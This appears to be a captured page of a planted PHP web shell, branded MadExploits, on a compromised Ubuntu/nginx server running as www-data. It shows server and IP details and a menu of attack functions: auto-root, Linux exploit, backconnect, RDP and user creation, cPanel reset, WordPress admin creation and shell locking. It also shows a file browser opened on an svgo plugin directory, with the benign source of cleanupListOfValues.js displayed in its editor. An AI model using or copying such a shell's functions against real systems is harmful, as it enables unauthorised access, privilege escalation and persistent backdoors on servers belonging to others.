Linux ubuntu22 5.15.0-133-generic #144-Ubuntu SMP Fri Feb 7 20:47:38 UTC 2025 x86_64
nginx/1.18.0
: 128.199.27.159 | : 216.73.216.1
Cant Read [ /etc/named.conf ]
8.1.31
www-data
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
var /
www /
html /
amatya /
node_modules /
svgo /
plugins /
[ HOME SHELL ]
Name
Size
Permission
Action
_collections.js
57.03
KB
-rw-r--r--
_path.js
30.91
KB
-rw-r--r--
_transforms.js
9.97
KB
-rw-r--r--
addAttributesToSVGElement.js
2.02
KB
-rw-r--r--
addClassesToSVGElement.js
1.07
KB
-rw-r--r--
cleanupAttrs.js
1.28
KB
-rw-r--r--
cleanupEnableBackground.js
2.25
KB
-rw-r--r--
cleanupIDs.js
6.51
KB
-rw-r--r--
cleanupListOfValues.js
3.52
KB
-rw-r--r--
cleanupNumericValues.js
2.5
KB
-rw-r--r--
collapseGroups.js
2.92
KB
-rw-r--r--
convertColors.js
3.58
KB
-rw-r--r--
convertPathData.js
30.01
KB
-rw-r--r--
convertShapeToPath.js
4.39
KB
-rw-r--r--
convertStyleToAttrs.js
4.1
KB
-rw-r--r--
convertTransform.js
10.62
KB
-rw-r--r--
inlineStyles.js
7.7
KB
-rw-r--r--
mergePaths.js
2.01
KB
-rw-r--r--
minifyStyles.js
3.97
KB
-rw-r--r--
moveElemsAttrsToGroup.js
3.31
KB
-rw-r--r--
moveGroupAttrsToElems.js
1.81
KB
-rw-r--r--
prefixIds.js
5.08
KB
-rw-r--r--
removeAttributesBySelector.js
1.87
KB
-rw-r--r--
removeAttrs.js
4.06
KB
-rw-r--r--
removeComments.js
508
B
-rw-r--r--
removeDesc.js
767
B
-rw-r--r--
removeDimensions.js
708
B
-rw-r--r--
removeDoctype.js
1.01
KB
-rw-r--r--
removeEditorsNSData.js
1.51
KB
-rw-r--r--
removeElementsByAttr.js
1.89
KB
-rw-r--r--
removeEmptyAttrs.js
509
B
-rw-r--r--
removeEmptyContainers.js
690
B
-rw-r--r--
removeEmptyText.js
1.1
KB
-rw-r--r--
removeHiddenElems.js
6.46
KB
-rw-r--r--
removeMetadata.js
392
B
-rw-r--r--
removeNonInheritableGroupAttrs...
945
B
-rw-r--r--
removeOffCanvasPaths.js
3.09
KB
-rw-r--r--
removeRasterImages.js
558
B
-rw-r--r--
removeScriptElement.js
423
B
-rw-r--r--
removeStyleElement.js
426
B
-rw-r--r--
removeTitle.js
411
B
-rw-r--r--
removeUnknownsAndDefaults.js
4.85
KB
-rw-r--r--
removeUnusedNS.js
2.33
KB
-rw-r--r--
removeUselessDefs.js
1.09
KB
-rw-r--r--
removeUselessStrokeAndFill.js
2.65
KB
-rw-r--r--
removeViewBox.js
1.11
KB
-rw-r--r--
removeXMLNS.js
591
B
-rw-r--r--
removeXMLProcInst.js
487
B
-rw-r--r--
reusePaths.js
6.33
KB
-rw-r--r--
sortAttrs.js
1.66
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : cleanupListOfValues.js
'use strict'; exports.type = 'perItem'; exports.active = false; exports.description = 'rounds list of values to the fixed precision'; exports.params = { floatPrecision: 3, leadingZero: true, defaultPx: true, convertToPx: true }; var regNumericValues = /^([\-+]?\d*\.?\d+([eE][\-+]?\d+)?)(px|pt|pc|mm|cm|m|in|ft|em|ex|%)?$/, regSeparator = /\s+,?\s*|,\s*/, removeLeadingZero = require('../lib/svgo/tools').removeLeadingZero, absoluteLengths = { // relative to px cm: 96/2.54, mm: 96/25.4, in: 96, pt: 4/3, pc: 16 }; /** * Round list of values to the fixed precision. * * @example * <svg viewBox="0 0 200.28423 200.28423" enable-background="new 0 0 200.28423 200.28423"> * ⬇ * <svg viewBox="0 0 200.284 200.284" enable-background="new 0 0 200.284 200.284"> * * * <polygon points="208.250977 77.1308594 223.069336 ... "/> * ⬇ * <polygon points="208.251 77.131 223.069 ... "/> * * * @param {Object} item current iteration item * @param {Object} params plugin params * @return {Boolean} if false, item will be filtered out * * @author kiyopikko */ exports.fn = function(item, params) { if ( item.hasAttr('points') ) { roundValues(item.attrs.points); } if ( item.hasAttr('enable-background') ) { roundValues(item.attrs['enable-background']); } if ( item.hasAttr('viewBox') ) { roundValues(item.attrs.viewBox); } if ( item.hasAttr('stroke-dasharray') ) { roundValues(item.attrs['stroke-dasharray']); } if ( item.hasAttr('dx') ) { roundValues(item.attrs.dx); } if ( item.hasAttr('dy') ) { roundValues(item.attrs.dy); } if ( item.hasAttr('x') ) { roundValues(item.attrs.x); } if ( item.hasAttr('y') ) { roundValues(item.attrs.y); } function roundValues($prop){ var num, units, match, matchNew, lists = $prop.value, listsArr = lists.split(regSeparator), roundedListArr = [], roundedList; listsArr.forEach(function(elem){ match = elem.match(regNumericValues); matchNew = elem.match(/new/); // if attribute value matches regNumericValues if (match) { // round it to the fixed precision num = +(+match[1]).toFixed(params.floatPrecision), units = match[3] || ''; // convert absolute values to pixels if (params.convertToPx && units && (units in absoluteLengths)) { var pxNum = +(absoluteLengths[units] * match[1]).toFixed(params.floatPrecision); if (String(pxNum).length < match[0].length) num = pxNum, units = 'px'; } // and remove leading zero if (params.leadingZero) { num = removeLeadingZero(num); } // remove default 'px' units if (params.defaultPx && units === 'px') { units = ''; } roundedListArr.push(num+units); } // if attribute value is "new"(only enable-background). else if (matchNew) { roundedListArr.push('new'); } else if (elem) { roundedListArr.push(elem); } }); roundedList = roundedListArr.join(' '); $prop.value = roundedList; } };
Close